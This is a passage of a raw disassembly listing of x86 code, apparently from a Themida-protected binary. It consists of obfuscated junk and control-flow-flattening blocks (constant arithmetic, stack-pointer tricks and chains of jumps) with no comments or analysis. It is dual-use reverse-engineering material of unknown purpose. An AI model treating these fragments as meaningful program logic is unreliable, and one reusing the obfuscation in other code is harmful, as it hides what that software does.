		mov	edx, 1455FBECh
		jmp	loc_5640B4
; ---------------------------------------------------------------------------


loc_56B79A:				; CODE XREF: sub_56207C+DF14j
		mov	esp, [esp+1Ah+var_1C+2]
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	4FD1h
		mov	[esp+1Eh+var_20+2], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], edx
		jmp	loc_563B97
; ---------------------------------------------------------------------------


loc_56B7C4:				; CODE XREF: sub_56207C+81A6j
		push	esp
		pop	ebx
		jmp	loc_571B9B
; ---------------------------------------------------------------------------


loc_56B7CB:				; CODE XREF: sub_56207C-24E7j
		push	ecx
		mov	ecx, 429242D2h
		inc	ecx
		or	ecx, 3C365F6h
		not	ecx
		dec	ecx
		jmp	loc_563E26
; ---------------------------------------------------------------------------


loc_56B7E0:				; CODE XREF: sub_56207C+3E1Ej
		mov	[esp+0Ah+var_C+2], eax
		push	esp
		pop	eax
		jmp	loc_571A98
; ---------------------------------------------------------------------------


loc_56B7EA:				; CODE XREF: sub_56207C-2654j
		add	ebx, edi
		pop	edi
		jmp	loc_56866E
; ---------------------------------------------------------------------------


loc_56B7F2:				; CODE XREF: sub_56207C+ECECj
		mov	edi, [esp-0Ah+arg_4+2]
		add	esp, 4
		sub	ecx, 7B864456h
		add	ecx, 559E1E93h
		sub	ecx, edi
		sub	ecx, 559E1E93h
		push	esi
		mov	esi, 69B50483h
		xor	esi, 123340D5h
		add	ecx, esi
		pop	esi
		jmp	loc_572F87
; ---------------------------------------------------------------------------


loc_56B823:				; CODE XREF: sub_56207C+2D98j
		push	esp
		jmp	loc_566CC4
; ---------------------------------------------------------------------------


loc_56B829:				; CODE XREF: sub_56207C+3A62j
		add	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5728F4
; ---------------------------------------------------------------------------


loc_56B832:				; CODE XREF: sub_56207C-15ECj
		or	eax, eax
		jz	loc_570527
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp+12h+var_14+2]
		jmp	loc_571B54
; ---------------------------------------------------------------------------


loc_56B845:				; CODE XREF: sub_56207C+7FE3j
		push	361h
		mov	[esp+2Eh+var_30+2], eax
		push	0B75h
		jmp	loc_56F48D
; ---------------------------------------------------------------------------


loc_56B857:				; CODE XREF: sub_56207C+2C9Ej
		mov	bh, 0Fh
		sub	bh, 0F1h
		jmp	loc_568209
; ---------------------------------------------------------------------------


loc_56B861:				; CODE XREF: sub_56207C+BEAEj
		push	eax
		mov	eax, 73B87B79h
		add	ebx, eax
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		add	ebx, edx
		jmp	loc_5723CA
; ---------------------------------------------------------------------------


loc_56B876:				; CODE XREF: sub_56207C+BDADj
		mov	edi, 72E41066h
		and	edi, 16AD3AF9h
		add	edi, 680B2061h
		inc	edi
		shl	edi, 5
		and	edi, 11D21A81h
		push	esi
		mov	esi, 6926278Ch
		jmp	loc_569873
; ---------------------------------------------------------------------------


loc_56B89C:				; CODE XREF: sub_56207C-CBj
		sub	bh, 1Eh
		dec	bh
		xor	bh, 7Ah
		mov	ah, bh
		jmp	loc_5711F9
; ---------------------------------------------------------------------------


loc_56B8AB:				; CODE XREF: sub_56207C-15A3j
		neg	ecx
		add	ecx, 0A6CEA245h
		mov	esi, ecx
		pop	ecx
		xor	esi, 4DA1DB2h
		push	edx
		jmp	loc_572C4C
; ---------------------------------------------------------------------------


loc_56B8C2:				; CODE XREF: sub_56207C+95B0j
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_55EF72
; ---------------------------------------------------------------------------


loc_56B8CD:				; CODE XREF: sub_56207C-2FC9j
		pop	ecx
		push	dx
		add	word ptr [esp+2Ah+var_2C+2], 4D87h
		pop	cx
		sub	cx, 4D87h
		pop	edx
		mov	ax, cx
		pop	ecx
		push	ax
		xor	word ptr [esp+22h+var_24+2], 144Ah
		jmp	loc_55E9C9
; ---------------------------------------------------------------------------


loc_56B8EF:				; CODE XREF: sub_56207C+7834j
		push	edi
		mov	edi, 46A50EA7h
		jmp	loc_56FCB7
; ---------------------------------------------------------------------------


loc_56B8FA:				; CODE XREF: sub_56207C-8E1j
		push	esi
		jmp	loc_56309E
; ---------------------------------------------------------------------------


loc_56B900:				; CODE XREF: sub_56207C+2DEBj
		mov	esi, 3C824B67h
		jmp	loc_560627
; ---------------------------------------------------------------------------


loc_56B90A:				; DATA XREF: Themida_:0055E298o
		mov	ax, word ptr [esp+16h+var_18+2]
		jmp	loc_567801
; ---------------------------------------------------------------------------


loc_56B913:				; CODE XREF: Themida_:0055FE0Dj
		mov	[esp+16h+var_18+2], eax
		mov	eax, 6CAF6335h
		xor	[esp+16h+var_14+2], eax
		mov	eax, [esp+16h+var_18+2]
		add	esp, 4
		mov	eax, [esp+12h+var_14+2]
		jmp	loc_563818
; ---------------------------------------------------------------------------


loc_56B92D:				; CODE XREF: sub_56207C+23j
		sub	[esp+40h+var_40], 1C1921DFh
		jmp	loc_565B72
; ---------------------------------------------------------------------------


loc_56B939:				; CODE XREF: sub_56207C+F16Dj
		add	esp, 4
		add	ebx, edx
		sub	ebx, 7A4033D8h
		pop	edx
		xor	eax, ebx
		push	[esp+38h+var_38]
		pop	ebx
		add	esp, 4
		xor	ebx, eax
		push	edx
		jmp	loc_572962
; ---------------------------------------------------------------------------


loc_56B956:				; CODE XREF: sub_56207C+73F8j
		mov	ecx, eax
		pop	eax
		mov	ebx, ecx
		jmp	loc_56ED7D
; ---------------------------------------------------------------------------


loc_56B960:				; CODE XREF: sub_56207C-7A3j
		pop	ecx
		sub	ebx, 37494A9Dh
		sub	ebx, eax
		push	edi
		jmp	loc_56211E
; ---------------------------------------------------------------------------


loc_56B96F:				; CODE XREF: sub_56207C-28FAj
		mov	ecx, 609122C1h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 2AF925B4h
		jmp	loc_56AFFA
; ---------------------------------------------------------------------------


loc_56B982:				; CODE XREF: sub_56207C-1839j
		xchg	esi, [esp+34h+var_34]
		jmp	loc_56E0D6
; ---------------------------------------------------------------------------


loc_56B98A:				; CODE XREF: sub_56207C+266Cj
		push	1FF0h
		jmp	loc_5603CD
; ---------------------------------------------------------------------------


loc_56B994:				; CODE XREF: sub_56207C+BE03j
		sub	esp, 4
		jmp	loc_561534
; ---------------------------------------------------------------------------


loc_56B99C:				; CODE XREF: sub_56207C+C09j
		mov	cl, bl
		pop	ebx
		jmp	loc_56FA14
; ---------------------------------------------------------------------------


loc_56B9A4:				; CODE XREF: sub_56207C+462j
		xchg	ecx, [esp+4Eh+var_50+2]
		jmp	loc_56DE08
; ---------------------------------------------------------------------------


loc_56B9AC:				; CODE XREF: sub_56207C+A2A7j
		and	eax, 76107009h
		sub	eax, 0FFFFFFFFh
		sub	eax, 0DD3E7F38h
		xor	edx, eax
		jmp	loc_56537D
; ---------------------------------------------------------------------------


loc_56B9C0:				; CODE XREF: sub_56207C+B78Ej
		mov	ecx, 55D53ED1h
		xor	ecx, 17DA4CD5h
		jmp	loc_5670D1
; ---------------------------------------------------------------------------


loc_56B9D0:				; CODE XREF: sub_56207C-2E22j
		neg	ebp
		and	ebp, 72C948EEh
		push	edi
		mov	edi, 80006h
		xor	ebp, edi
		pop	edi
		jmp	loc_56EDBD
; ---------------------------------------------------------------------------


loc_56B9E6:				; CODE XREF: sub_56207C+7FAAj
		mov	edx, ecx
		jmp	loc_56F3F1
; ---------------------------------------------------------------------------


loc_56B9ED:				; CODE XREF: sub_56207C+6C47j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		xor	bl, al
		movzx	eax, al
		mov	dx, word ptr [esp+24h+var_24]
		push	2827h
		mov	[esp+28h+var_28], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_56EFFB
; ---------------------------------------------------------------------------


loc_56BA1C:				; CODE XREF: sub_56207C+4D47j
		inc	edx
		sub	edx, 0FFFFFFFFh
		jmp	loc_561812
; ---------------------------------------------------------------------------


loc_56BA25:				; CODE XREF: sub_56207C+5CD7j
		pop	eax
		jmp	loc_56E8E3
; ---------------------------------------------------------------------------


loc_56BA2B:				; CODE XREF: sub_56207C+9ADFj
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		xor	byte ptr [esp+30h+var_30], al
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56BA48:				; CODE XREF: sub_56207C+916Fj
		pop	ecx
		sub	ebx, 0F8815683h
		sub	edx, ebx
		pop	ebx
		mov	eax, edx
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	[esp+0Ah+var_C+2]
		jmp	loc_55F88A
; ---------------------------------------------------------------------------


loc_56BA62:				; CODE XREF: sub_56207C-480j
		pop	esi
		shr	esi, 3
		not	esi
		jmp	loc_562DD0
; ---------------------------------------------------------------------------


loc_56BA6D:				; CODE XREF: sub_56207C+A7D6j
		push	edx
		push	1098443Ah
		pop	edx
		jmp	loc_569C46
; ---------------------------------------------------------------------------


loc_56BA79:				; DATA XREF: Themida_:0055E198o
		push	2654h
		mov	[esp+34h+var_34], ecx
		push	4E98h
		mov	[esp+38h+var_38], edi
		mov	edi, 0A9F0A88h
		xor	edi, 75D10567h
		jmp	loc_56C147
; ---------------------------------------------------------------------------


loc_56BA99:				; CODE XREF: sub_56207C-300Fj
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		push	5118h
		mov	[esp+2Ch+var_2C], edx
		push	4
		jmp	loc_56C0D4
; ---------------------------------------------------------------------------


loc_56BAB5:				; CODE XREF: sub_56207C+5446j
		xchg	ebx, [esp+24h+var_24]
		jmp	loc_567A83
; ---------------------------------------------------------------------------


loc_56BABD:				; CODE XREF: sub_56207C+6E85j
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_56BC8E
; ---------------------------------------------------------------------------


loc_56BAC6:				; CODE XREF: sub_56207C+C2Aj
		pop	ecx
		add	esp, 4
		push	7486h
		mov	[esp+4Ch+var_4C], eax
		mov	eax, 4
		sub	ecx, 39BE521Fh
		add	ecx, eax
		push	eax
		mov	eax, 51B1005Ah
		add	eax, 36171AEBh
		push	ebp
		jmp	loc_57011F
; ---------------------------------------------------------------------------


loc_56BAF0:				; CODE XREF: sub_56207C+3170j
		pop	edi
		sub	eax, 4C7904D1h
		add	eax, ecx
		add	eax, 4C7904D1h
		pop	ecx
		sub	esp, 4
		mov	[esp+32h+var_34+2], eax
		jmp	loc_570BBD
; ---------------------------------------------------------------------------


loc_56BB09:				; CODE XREF: sub_56207C-B59j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56BC79
; ---------------------------------------------------------------------------


loc_56BB18:				; CODE XREF: sub_56207C+7992j
		xchg	eax, edx
		push	edx
		not	[esp+28h+var_28]
		pop	edx
		xchg	eax, edx
		sub	eax, 7C112F55h
		mov	ebx, 627456AAh
		xor	ebx, eax
		jmp	loc_564B12
; ---------------------------------------------------------------------------


loc_56BB30:				; CODE XREF: sub_56207C-16A3j
		add	bh, 67h
		jmp	loc_55E3C9
; ---------------------------------------------------------------------------


loc_56BB38:				; CODE XREF: sub_56207C+D0C6j
		push	small 27F0h
		jmp	loc_562A32
; ---------------------------------------------------------------------------


loc_56BB41:				; CODE XREF: sub_56207C+9DDBj
		push	4253029Fh
		pop	ebx
		jmp	loc_566D9E
; ---------------------------------------------------------------------------


loc_56BB4C:				; CODE XREF: sub_56207C+1064Dj
		push	3DDA42FDh
		pop	edx
		jmp	loc_56436A
; ---------------------------------------------------------------------------


loc_56BB57:				; CODE XREF: sub_56207C+BAACj
		pop	esp
		mov	[esp+42h+var_44+2], edi
		jmp	loc_56BA2B
; ---------------------------------------------------------------------------


loc_56BB60:				; CODE XREF: sub_56207C-23Bj
		bswap	eax
		push	2ACAh
		mov	[esp+48h+var_48], eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56BB6F:				; CODE XREF: sub_56207C+C055j
		pop	ecx
		add	ebx, 4
		xor	ebx, [esp+44h+var_44]
		xor	[esp+44h+var_44], ebx
		xor	ebx, [esp+44h+var_44]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		xor	[esp+44h+var_44], ecx
		jmp	loc_560835
; ---------------------------------------------------------------------------


loc_56BB8E:				; CODE XREF: sub_56207C+5BEj
		pop	eax
		neg	edx
		jmp	loc_56C63F
; ---------------------------------------------------------------------------


loc_56BB96:				; CODE XREF: sub_56207C+2132j
		xor	ebp, edi
		pop	edi
		push	ebp
		pop	esi
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		add	esi, edx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_55F533
; ---------------------------------------------------------------------------


loc_56BBAB:				; CODE XREF: sub_5614B0+19j
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_56D752
; ---------------------------------------------------------------------------


loc_56BBB3:				; CODE XREF: sub_56207C+D300j
		mov	[esp+0Ch+var_C], esi
		push	esp
		mov	esi, [esp+10h+var_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_57168F
; ---------------------------------------------------------------------------


loc_56BBCE:				; CODE XREF: sub_56207C+6B6Aj
		mov	eax, 223A4009h
		shr	eax, 5
		jmp	loc_567385
; ---------------------------------------------------------------------------


loc_56BBDB:				; CODE XREF: sub_56207C-1643j
		sub	esp, 4
		mov	[esp+44h+var_44], esi
		mov	esi, 3A019AF2h
		add	ecx, esi
		mov	esi, [esp+44h+var_44]
		jmp	loc_564274
; ---------------------------------------------------------------------------


loc_56BBF0:				; CODE XREF: sub_56207C+56EEj
		xchg	ebp, [esp+1Ah+var_1C+2]
		pop	esp
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, 35561012h
		push	ebp
		mov	ebp, 14243EC1h
		add	ecx, ebp
		pop	ebp
		add	ecx, 0BF347ECh
		push	eax
		mov	eax, 7903F78h
		shr	eax, 1
		not	eax
		push	ebx
		mov	ebx, 3C4179D3h
		or	eax, ebx
		pop	ebx
		inc	eax
		jmp	loc_568134
; ---------------------------------------------------------------------------


loc_56BC24:				; CODE XREF: sub_56207C+D49j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_563B6E
; ---------------------------------------------------------------------------


loc_56BC31:				; CODE XREF: sub_56207C+D51Bj
		push	3BD309E3h
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		xor	ebx, 0F7C1A3Dh
		sub	ebx, 0E2FBD3D2h
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 72B125AFh
		add	edi, 6FB157BEh
		sub	edi, ebp
		push	edx
		push	ebx
		push	0F077CC4h
		pop	ebx
		add	ebx, 3AFBA5E3h
		mov	edx, ebx
		jmp	loc_56B3DC
; ---------------------------------------------------------------------------


loc_56BC71:				; CODE XREF: sub_56207C+CE98j
		add	al, 0Bh
		push	ebx
		jmp	loc_569728
; ---------------------------------------------------------------------------


loc_56BC79:				; CODE XREF: sub_56207C+9A97j
		xchg	ebp, [esp+0Ch+var_C]
		jmp	loc_5635DA
; ---------------------------------------------------------------------------


loc_56BC81:				; CODE XREF: sub_56207C+90C4j
		sub	[esp+30h+var_2C], 48F5739Bh
		jmp	loc_5610F6
; ---------------------------------------------------------------------------


loc_56BC8E:				; CODE XREF: sub_56207C+9A45j
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_563C1A
; ---------------------------------------------------------------------------


loc_56BC9A:				; CODE XREF: sub_56207C+A01Ej
		add	ebx, ebp
		jmp	loc_56ABEE
; ---------------------------------------------------------------------------


loc_56BCA1:				; CODE XREF: sub_56207C+BA0Ej
		shl	ebx, 4
		push	esi
		jmp	loc_571224
; ---------------------------------------------------------------------------


loc_56BCAA:				; CODE XREF: sub_56207C+10C7Bj
		mov	[esp+22h+var_24+2], edx
		push	1299h
		mov	[esp+26h+var_28+2], ecx
		mov	ch, 26h
		mov	dh, 0B0h
		add	dh, ch
		pop	ecx
		and	dh, 88h
		not	dh
		push	6CEEh
		jmp	loc_56242E
; ---------------------------------------------------------------------------


loc_56BCCB:				; CODE XREF: sub_56207C+C23Aj
		shr	edi, 7
		sub	esp, 4
		jmp	loc_56A90E
; ---------------------------------------------------------------------------


loc_56BCD9:				; CODE XREF: sub_56207C+2678j
		mov	eax, 492D4684h
		sub	edi, eax
		jmp	loc_56A1D2
; ---------------------------------------------------------------------------


loc_56BCE5:				; CODE XREF: sub_56207C+ADA8j
		neg	edx
		sub	edx, 0DA105607h
		add	ecx, edx
		pop	edx
		xor	ecx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ecx
		xor	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	ax, word ptr [esp-4+arg_0]
		sub	esp, 4
		jmp	loc_5719D5
; ---------------------------------------------------------------------------


loc_56BD0B:				; CODE XREF: sub_56207C+6D89j
		dec	ecx
		xor	ecx, 0E5C094E8h
		jmp	loc_5604EF
; ---------------------------------------------------------------------------


loc_56BD17:				; CODE XREF: sub_56207C+4B6Cj
		mov	esi, 6397192Ch
		mov	ebp, 0DE7EEE54h
		add	ebp, esi
		pop	esi
		or	ebp, 7FB972DDh
		sub	ebp, 6EE0F8BDh
		and	edx, ebp
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_564E75
; ---------------------------------------------------------------------------


loc_56BD40:				; CODE XREF: sub_56207C+F552j
		add	esi, eax
		jmp	loc_570ADF
; ---------------------------------------------------------------------------


loc_56BD47:				; CODE XREF: sub_56207C+2607j
		pop	ebp
		jmp	loc_55FAB8
; ---------------------------------------------------------------------------


loc_56BD4D:				; CODE XREF: sub_56207C+78FBj
		push	ebx
		mov	ebx, 4
		add	[esp+10h+var_C], ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_56264A
; ---------------------------------------------------------------------------


loc_56BD62:				; CODE XREF: sub_56207C+F7A9j
		mov	ecx, esi
		pop	esi
		shl	ecx, 8
		add	ecx, 45434238h
		push	ebp
		jmp	loc_56709C
; ---------------------------------------------------------------------------


loc_56BD74:				; CODE XREF: sub_56207C+1F38j
		push	ebx
		mov	ebx, esi
		mov	edx, ebx
		pop	ebx
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_56C1F6
; ---------------------------------------------------------------------------


loc_56BD85:				; CODE XREF: sub_56207C+10B92j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		mov	ah, 3Ah
		not	ah
		jmp	loc_55F85C
; ---------------------------------------------------------------------------


loc_56BD97:				; CODE XREF: sub_56207C+39EAj
		xchg	ecx, [esp+1Eh+var_20+2]
		jmp	loc_568600
; ---------------------------------------------------------------------------


loc_56BD9F:				; CODE XREF: sub_56207C+4654j
		push	eax
		mov	eax, 29D22D40h
		add	eax, 3CA120F0h
		jmp	loc_568F78
; ---------------------------------------------------------------------------


loc_56BDAF:				; DATA XREF: Themida_:0055E128o
		mov	cx, word ptr [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 230265A8h
		dec	edi
		jmp	loc_56F595
; ---------------------------------------------------------------------------


loc_56BDC2:				; CODE XREF: sub_56207C+5F4Cj
		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	eax
		mov	eax, 740D4C0Dh
		push	esi
		push	eax
		jmp	loc_55F01F
; ---------------------------------------------------------------------------


loc_56BDD5:				; CODE XREF: sub_56207C+9041j
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		mov	[esp+2Ah+var_2C+2], edi
		push	esp
		pop	edi
		jmp	loc_56F1E3
; ---------------------------------------------------------------------------


loc_56BDF0:				; CODE XREF: sub_56207C+DCD4j
		add	cl, 8Bh
		jmp	loc_564502
; ---------------------------------------------------------------------------


loc_56BDF8:				; CODE XREF: sub_56207C+BEC1j
		add	esp, 4
		jmp	loc_56A166
; ---------------------------------------------------------------------------


loc_56BE03:				; CODE XREF: sub_56207C+6890j
		xor	edi, 23410DB8h
		jmp	loc_565E89
; ---------------------------------------------------------------------------


loc_56BE0E:				; CODE XREF: sub_56207C+31EAj
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		sub	esp, 4
		jmp	loc_56500C
; ---------------------------------------------------------------------------


loc_56BE22:				; CODE XREF: sub_56207C+2B57j
		or	ebp, 6C1075B2h
		add	ebp, 0A8BB50D1h
		sub	edx, ebp
		pop	ebp
		sub	ebx, 23DD4F33h
		sub	ebx, edx
		add	ebx, 23DD4F33h
		pop	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		jmp	loc_56944A
; ---------------------------------------------------------------------------


loc_56BE4B:				; CODE XREF: sub_56207C-1687j
		inc	edx
		neg	edx
		jmp	loc_570481
; ---------------------------------------------------------------------------


loc_56BE53:				; CODE XREF: sub_56207C-2C7Dj
		mov	[esp+22h+var_24+2], edx
		push	ebx
		jmp	loc_56BB41
; ---------------------------------------------------------------------------


loc_56BE5C:				; CODE XREF: sub_56207C+7B9Ej
		pop	ebp
		sub	[edx+38h], esi
		push	[esp+28h+var_28]
		mov	esi, [esp+2Ch+var_2C]
		add	esp, 4
		add	esp, 4


loc_56BE72:				; CODE XREF: sub_56207C-20C4j
		mov	dword ptr [edx+30h], 471E5C54h
		jmp	loc_560E04
; ---------------------------------------------------------------------------


loc_56BE7E:				; CODE XREF: sub_56207C+CF24j
		sub	esp, 4
		push	esp
		pop	[esp+2Ch+var_2C]
		jmp	loc_56174B
; ---------------------------------------------------------------------------


loc_56BE8D:				; CODE XREF: sub_56207C+10FB9j
		add	esi, ebx
		pop	ebx
		push	esi
		push	[esp+28h+var_24]
		mov	esi, [esp+2Ch+var_2C]
		jmp	loc_564B43
; ---------------------------------------------------------------------------


loc_56BE9D:				; CODE XREF: sub_56207C+5BF8j
		xchg	ecx, [esp+22h+var_24+2]
		pop	esp
		mov	[esp+1Eh+var_20+2], ebp
		sub	esp, 4
		jmp	loc_56DB03
; ---------------------------------------------------------------------------


loc_56BEAC:				; CODE XREF: sub_56207C+AE97j
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		xor	esi, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], esi
		xor	esi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		sar	[esp+1Eh+var_20+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56BECA:				; CODE XREF: sub_56207C-8F9j
		or	dh, 0AAh
		push	7987h
		jmp	loc_565EC4
; ---------------------------------------------------------------------------


loc_56BED7:				; DATA XREF: Themida_:0055E2DCo
		mov	ax, word ptr [esp+32h+var_34+2]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	77C8h
		jmp	loc_5640D4
; ---------------------------------------------------------------------------


loc_56BEF1:				; DATA XREF: Themida_:0055E2ACo
		mov	ax, word ptr [esp+3Ah+var_3C+2]
		jmp	loc_56E4DF
; ---------------------------------------------------------------------------


loc_56BEFA:				; CODE XREF: sub_56207C+310Dj
		sub	ebp, 4
		xchg	ebp, [esp+26h+var_28+2]
		pop	esp
		mov	[esp+22h+var_24+2], edx
		jmp	loc_572D58
; ---------------------------------------------------------------------------


loc_56BF09:				; CODE XREF: sub_56207C+B65Dj
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+22h+var_20+2]
		pop	ebp
		pop	[esp+22h+var_24+2]
		jmp	loc_564418
; ---------------------------------------------------------------------------


loc_56BF24:				; CODE XREF: sub_56207C+501Bj
		add	esp, 4
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		push	eax
		jmp	loc_571172
; ---------------------------------------------------------------------------


loc_56BF36:				; CODE XREF: sub_56207C+D848j
		neg	edx
		and	edx, 4F3D1A6Bh
		jmp	loc_572BDA
; ---------------------------------------------------------------------------


loc_56BF43:				; CODE XREF: sub_56207C+B1A6j
		pop	eax
		inc	ebx
		push	ecx
		push	edi
		push	648522C7h
		pop	edi
		shr	edi, 7
		xor	edi, 4AA4439h
		sub	edi, 1
		push	ecx
		mov	ecx, 3FF42A91h
		sub	ecx, 0AFB6833h
		jmp	loc_55F2F3
; ---------------------------------------------------------------------------


loc_56BF6D:				; CODE XREF: sub_56207C+68DCj
		pop	esi
		xchg	ebp, [esp+28h+var_28]
		pop	esp
		pop	[esp+24h+var_24]
		push	12B9h
		mov	[esp+24h+var_24], ecx
		xchg	ebp, [esp+24h+var_24]
		sub	esp, 4
		mov	[esp+28h+var_28], ebp
		xchg	ebx, [esp+28h+var_28]
		not	ebx
		push	ebx
		jmp	loc_56EDA2
; ---------------------------------------------------------------------------


loc_56BF94:				; CODE XREF: sub_56207C+6C7Ej
		mov	eax, 5F7D0A67h
		jmp	loc_56F15D
; ---------------------------------------------------------------------------


loc_56BF9E:				; CODE XREF: sub_56207C+3EF4j
		xor	ebp, 1A8B1FC9h
		mov	esi, ebp
		pop	ebp
		sub	esi, 340F1658h
		jmp	loc_572608
; ---------------------------------------------------------------------------


loc_56BFB2:				; CODE XREF: sub_56207C+B9EDj
		sub	edi, 41700145h
		add	edi, 21A7191Bh
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_560F94
; ---------------------------------------------------------------------------


loc_56BFCC:				; CODE XREF: sub_56207C+7ADEj
		add	eax, 7F9377E2h
		sub	eax, 836E51FEh
		add	edx, eax
		pop	eax
		sub	edx, 4
		jmp	loc_56472C
; ---------------------------------------------------------------------------


loc_56BFE4:				; CODE XREF: sub_56207C+E61Ej
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56BFE9:				; CODE XREF: sub_56207C+DDF3j
		sub	edi, 39C822E4h
		push	[esp+30h+var_30]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+34h+var_34]
		jmp	loc_571C0F
; ---------------------------------------------------------------------------


loc_56C008:				; CODE XREF: sub_56207C+DC3Ej
		and	ebp, 6C7959CBh
		neg	ebp
		jmp	loc_563AD2
; ---------------------------------------------------------------------------


loc_56C015:				; CODE XREF: sub_56207C+C61j
		push	[esp+50h+var_50]
		jmp	loc_565BBF
; ---------------------------------------------------------------------------


loc_56C01D:				; CODE XREF: sub_56207C+D3DBj
		pop	edx
		pop	[esp+50h+var_50]
		mov	esp, [esp+4Ch+var_4C]
		jmp	loc_56372B
; ---------------------------------------------------------------------------


loc_56C029:				; CODE XREF: sub_56207C+C329j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5733CB
; ---------------------------------------------------------------------------


loc_56C03A:				; DATA XREF: Themida_:0055E364o
		mov	ax, word ptr [esp+4Ch+var_4C]
		sub	esp, 4
		mov	[esp+50h+var_50], ecx
		push	esp
		mov	ecx, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_567B9E
; ---------------------------------------------------------------------------


loc_56C056:				; CODE XREF: sub_56207C-2545j
		or	esi, 65003EFAh
		add	esi, 0C288E9EFh
		jmp	loc_561AF4
; ---------------------------------------------------------------------------


loc_56C067:				; CODE XREF: sub_56207C+C185j
		sub	ebx, 54614298h
		add	ebx, 2D491E09h
		sub	ebx, eax
		push	edx
		mov	edx, 19D552FAh
		xor	edx, 349C4CF3h
		jmp	loc_56679E
; ---------------------------------------------------------------------------


loc_56C086:				; CODE XREF: sub_56207C+C76Aj
		xor	ecx, 5A3199Ah
		sub	ebx, 5BCA2811h
		add	ebx, ecx
		push	ebp
		mov	ebp, 5BCA2811h
		jmp	loc_56BC9A
; ---------------------------------------------------------------------------


loc_56C09F:				; CODE XREF: sub_56207C+EB83j
		xor	[esp+10h+var_C], ebp
		pop	ebp
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	eax
		jmp	loc_5645E5
; ---------------------------------------------------------------------------


loc_56C0B0:				; CODE XREF: sub_56207C-1706j
		pop	ecx
		sub	esi, 0E2740381h
		mov	edx, esi
		pop	esi
		add	edx, 25B15092h
		sub	edx, ebx
		sub	edx, 25B15092h
		pop	ebx
		push	eax
		push	795341CEh
		jmp	loc_57192D
; ---------------------------------------------------------------------------


loc_56C0D4:				; CODE XREF: sub_56207C+9A34j
		pop	edx
		sub	edi, edx
		mov	edx, [esp+2Ch+var_2C]
		add	esp, 4
		push	edi
		push	[esp+2Ch+var_28]
		jmp	loc_570E97
; ---------------------------------------------------------------------------


loc_56C0E7:				; CODE XREF: sub_56207C-268Fj
		sub	esi, 9F0254CAh
		push	edx
		mov	edx, esi
		mov	edi, edx
		pop	edx
		pop	esi
		jmp	loc_566380
; ---------------------------------------------------------------------------


loc_56C0F9:				; CODE XREF: sub_56207C+AADFj
		push	[esp-16h+arg_14+2]
		pop	edx
		pop	[esp-16h+arg_10+2]
		jmp	loc_565776
; ---------------------------------------------------------------------------


loc_56C106:				; CODE XREF: sub_56207C+64BFj
		add	edx, ebp
		push	esi
		mov	esi, 2D8B7289h
		xor	esi, 3E9F0D58h
		xor	esi, 4CA9482Fh
		not	esi
		sub	esi, 27B3BA5Eh
		sub	edx, esi
		mov	esi, [esp+64h+var_64]
		add	esp, 4
		pop	ebp
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56C133:				; CODE XREF: sub_56207C-1429j
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		cmp	cl, al
		pushf
		jmp	loc_561044
